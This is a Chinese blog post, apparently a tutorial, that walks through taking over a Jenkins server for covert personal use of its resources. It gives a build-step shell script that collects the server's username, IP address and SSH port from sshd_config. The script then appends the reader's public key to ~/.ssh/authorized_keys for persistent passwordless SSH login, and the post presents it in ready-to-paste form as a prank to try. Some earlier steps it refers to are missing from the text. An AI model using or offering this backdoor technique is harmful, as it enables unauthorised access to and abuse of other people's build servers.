为什么突然想到了破解Jenkins服务器呢,无非是自己想远程登录上去,操作一些不可告人的秘密(其实也就是利用这台服务器可用资源)至于如何破解的呢!简单到爆,接下来让老夫娓娓道来
说道Jenkins,这个工具应该大家早有耳闻,一个持续集成的工具,我们可以在上面集成各种杂七杂八的项目。至于介绍也就不多说了。
以上两点有了,就可以开始我们的破解大业了,接下来就是如何或者说从哪里入手破解这台服务器,然后通过我们的电脑登录到Jenkins服务器了。
如果完成了以上5步,那我们离成功只剩下一步之遥了。
登录远程服务器无非是通过SSH,但是我们也不知道这个服务器的用户名,IP,端口号怎么办。其实我们在第一步的时候已经拿到了Shell窗口,IP和用户名简单的两行代码就可以搞定
whoami ifconfig /sbin/ifconfig eth0 | grep 'inet addr' | cut -d: -f2 | awk '{print $1}' #直接过滤出ip地址 ubuntu ifconfig | grep "inet " | grep -v 127.0.0.1 | cut -d/ -f2 #直接过滤出ip地址 mac 复制代码
都是非常简单的命令,就可以拿到服务器的用户名及IP地址了,那么如何拿到远程SSH登录端口号呢?
vim /etc/ssh/sshd_config 复制代码
这个就是SSH的启动配置文件,可以在里面搜索Port就可以找到远程开放的端口号,如下图所示
想图省事也可以这样更简单,把port拿到
cat /etc/ssh/sshd_config |grep -i port 复制代码
那么我们都知道了如何拿到这些信息了,那么接下来如何登录呢,这就用到了Action One的第五步里面的Shell窗口。
只需要把下面的语句添加到Shell窗口里面就好,等Jenkins编译好了,下面的服务器的信息你也就可以从控制台输出日志里面拿到了
ROOT_NAME_CMD=$(whoami) IP_CMD=$(/sbin/ifconfig eth0 | grep 'inet addr' | cut -d: -f2 | awk '{print $1}') PORT_CMD=$(cat /etc/ssh/sshd_config |grep -i port) echo $ROOT_NAME_CMD echo ========================== echo $IP_CMD echo ========================== echo $PORT_CMD 复制代码
如果说IP地址为空的话,换一种方式grep ,不同的系统平台,脚本可能不一致,不闲麻烦直接把全部的ifconfig打印出来。
现在已经知道了服务器的IP用户名及端口号,那么接下来我们是不是直接可以SSH登录了呢。Say No!我们到现在为止只是拿到了账号而已,还差密码呢。肯定是登录不了的,那么密码我们如何拿到呢。拿到密码可是不容易的,但是我们这一条路走的比较困难,那我们换一条路,简单粗暴型,免密登录,那么如何才能免密登录呢! SSH免密登录 大家日常应该有用到过,不然每次输入密码太恶心了,SSH免密登录所需要的条件就是pubic key,只要我们把自己的public key 给了服务器,这时候我们就有了服务器的授权,那就可以执行免密登录
pubkey一般都在这里 ~/.ssh/id_ras.pub,没有的自己创建一下 terminal 下 cd 到这个目录 ~/.ssh/ 输入 ssh keygen 不停的回车就行了。
拿到了我们本机的pubKey 如何给让服务器给我们授权呢,简单的一步就搞定,把我们的ssh pub key 内容追加到服务器~./ssh/目录下的authorized_keys文件夹中即可
echo "pubkey内容" >> ~/.ssh/authorized_keys 复制代码
至此我们破解服务器的脚本已经完成了
ROOT_NAME_CMD=$(whoami) IP_CMD=$(/sbin/ifconfig eth0 | grep 'inet addr' | cut -d: -f2 | awk '{print $1}') PORT_CMD=$(cat /etc/ssh/sshd_config |grep -i port) echo $ROOT_NAME_CMD echo ========================== echo $IP_CMD echo ========================== echo $PORT_CMD echo "pubkey内容" >> ~/.ssh/authorized_keys 复制代码
把这些代码复制到shell Action one 第五步的窗口中即可,别忘了保存
这时候回到Jenkins项目主页,点击构建,然后查看编译日志,所有的信息都会打印出来,然后这时候打开我们的terminal 悄悄的输入 ssh username@IP -p port 唰的一下,我们就登录了Jenkins服务器了。
至此Jenkins服务器就被我们破解了,其实目标明确了,手段吗,就看大家的了,简单粗暴即可,这也就是一种投机取巧的方式。大家可以玩玩,娱乐一下。